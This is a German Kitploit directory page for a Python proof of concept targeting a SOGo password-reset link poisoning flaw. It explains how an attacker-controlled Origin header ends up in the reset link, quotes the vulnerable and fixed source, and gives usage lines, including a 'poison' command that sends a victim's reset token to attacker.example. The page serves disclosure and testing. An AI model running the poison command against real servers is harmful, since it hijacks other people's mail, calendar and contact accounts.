Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-93453 — Python-PoC für CVE-2026-93453, eine SOGo-Schwachstelle beim Poisoning von Passwort-Reset-Links über einen angreiferkontrollierten Origin-Header, die das Abfangen von Reset-Tokens und die Übernahme von Konten ermöglicht. | Kitploit
Tools/GitHubGitHub/faceless0x7/cve-2026-93453
PasswortangriffeSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsAuthentifizierungRed Teaming
GitHubfaceless0x7/cve-2026-93453

CVE-2026-93453

Python-PoC für CVE-2026-93453, eine SOGo-Schwachstelle beim Poisoning von Passwort-Reset-Links über einen angreiferkontrollierten Origin-Header, die das Abfangen von Reset-Tokens und die Übernahme von Konten ermöglicht.

11vor 10h 46mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

CVE-2026-93453 — SOGo Passwort-Reset-Link-Poisoning über den Origin-Header

Ein Exploit für eine Schwachstelle, bei der SOGo den Passwort-Reset-Link, den es per E-Mail an Benutzer sendet, direkt aus dem vom Client gelieferten Origin-Header zusammensetzt. Ein anonymer Angreifer, der den Login eines Opfers kennt, sendet eine Wiederherstellungsanfrage mit einem kontrollierten Origin; der Link in der per E-Mail versandten „Password reset"-Nachricht zeigt dann auf den Host des Angreifers, während das eingebettete JWT ein vollkommen gültiges Wiederherstellungs-Token bleibt. Einen Klick des Opfers später befindet sich das Token im Zugriffsprotokoll des Angreifers, und POST /SOGo/changePassword tauscht es gegen ein neues Passwort — vollständige Kontoübernahme von E-Mail, Kalendern und Kontakten, ohne Authentifizierung bei irgendeinem Schritt. Der E-Mail-Zweig überspringt zusätzlich die Prüfung von SOGoPasswordRecoveryEnabled (dieses Flag wird nur im SecretQuestion-Zweig konsultiert), sodass der E-Mail-Vektor auch dann funktioniert, wenn der Betreiber glaubt, die Wiederherstellung sei deaktiviert.

Record: https://www.cve.org/CVERecord?id=CVE-2026-93453

BetroffenSOGo < 5.12.11 (≤ 5.12.10)
Behoben5.12.11 (SOGoPasswordRecoveryBaseURLs-Allowlist)
VoraussetzungenOpfer mit SecondaryEmail-Wiederherstellungsmodus; Angreifer kennt den userName; Opfer klickt auf den per E-Mail gesendeten Link
AuswirkungKontoübernahme

Ursache

root@kitploit:~
// UI/MainUI/SOGoRootPage.m:1374 (tag SOGo-5.12.10) — passwordRecoveryEmailAction
url = [NSString stringWithFormat:@"%@%@?token=%@",
          [[request headers] objectForKey:@"origin"],   // <-- raw client header
          [request uri],
          jwtToken];                                    // <-- valid HS256 JWT, 10 min TTL

Die tokenisierte Reset-URL ist Origin + request URI + JWT, wer also den Header setzt, setzt den Host, an den das Geheimnis des Opfers wandert. Dies ist Passwort-Reset-Poisoning (CWE-640 / CWE-601), kein offenes Redirect: Das JWT wird von /SOGo/changePassword akzeptiert, egal welcher Host es dorthin gebracht hat.

root@kitploit:~
// 5.12.11 — the fix: origins are validated against a mandatory allowlist
baseUrls = [[SOGoSystemDefaults sharedSystemDefaults] passwordRecoveryBaseURLs];
serverUrl = [[request headers] objectForKey:@"origin"];
if (!(baseUrls && [baseUrls count] > 0))          // unset config -> 403
if (![baseUrls containsObject:serverUrl])          // foreign origin -> 403

Unter 5.12.11 erhält ein fremder Origin eine 403 („Password recovery email in error"); unter ≤ 5.12.10 liefert dieselbe Anfrage 200 und die Mail wird versandt — auf diesen Unterschied stützt sich check.

Verwendung

root@kitploit:~
# non-destructive probe: canary user + foreign Origin, classify the reply
python3 CVE-2026-93453.py check https://sogo.example

# poison: dispatch the reset mail for the victim with your host in the link
python3 CVE-2026-93453.py poison https://sogo.example --user victim --origin https://attacker.example

Nur Standardbibliothek (Python 3.8+). Unterstützt --proxy, --insecure, --timeout, --no-color und --prefix für nicht standardmäßige SOGo-Mount-Punkte.

Das PoC benötigt keine Angreifer-Infrastruktur: poison bewirkt lediglich, dass der Server den Link per E-Mail versendet, und der vergiftete Host ist der, den Sie in --origin angeben. Auf einer verwundbaren Instanz wird der per E-Mail versandte Link zu https://attacker.example/SOGo/passwordRecoveryEmail?token=<valid HS256 JWT> — das Token wandert in dem Moment zu Ihrem Host, in dem das Opfer klickt.

check verwendet einen nicht existierenden Canary-Benutzernamen, sodass niemals eine E-Mail an ein echtes Postfach zugestellt wird; 200 = der E-Mail-Zweig akzeptierte den fremden Origin (verwundbare Signatur), 403 = 5.12.11-Allowlist oder nicht gesetzte SOGoPasswordRecoveryBaseURLs (nicht ausnutzbar). Für einen definitiven Selbsttest poison Sie ein Konto, das Ihnen gehört, und lesen Sie den Link-Host in Ihrem eigenen Posteingang.

Referenzen

  • CVE-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-93453
  • Behobenes Release: https://github.com/Alinto/sogo/releases/tag/SOGo-5.12.11
  • Fix-Commits:
    • https://github.com/Alinto/sogo/commit/382118a93b6925de2ce7f774abc1865ebea2dbba
    • https://github.com/Alinto/sogo/commit/04a3e9823889acaf6c247b224f5f7a0108f8f829
  • Verwundbarer Quellcode: https://github.com/Alinto/sogo/blob/SOGo-5.12.10/UI/MainUI/SOGoRootPage.m (passwordRecoveryEmailAction)

Haftungsausschluss

Nur für autorisierte Tests und Forschung. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie ausdrückliche Testgenehmigung haben.

Tool herunterladen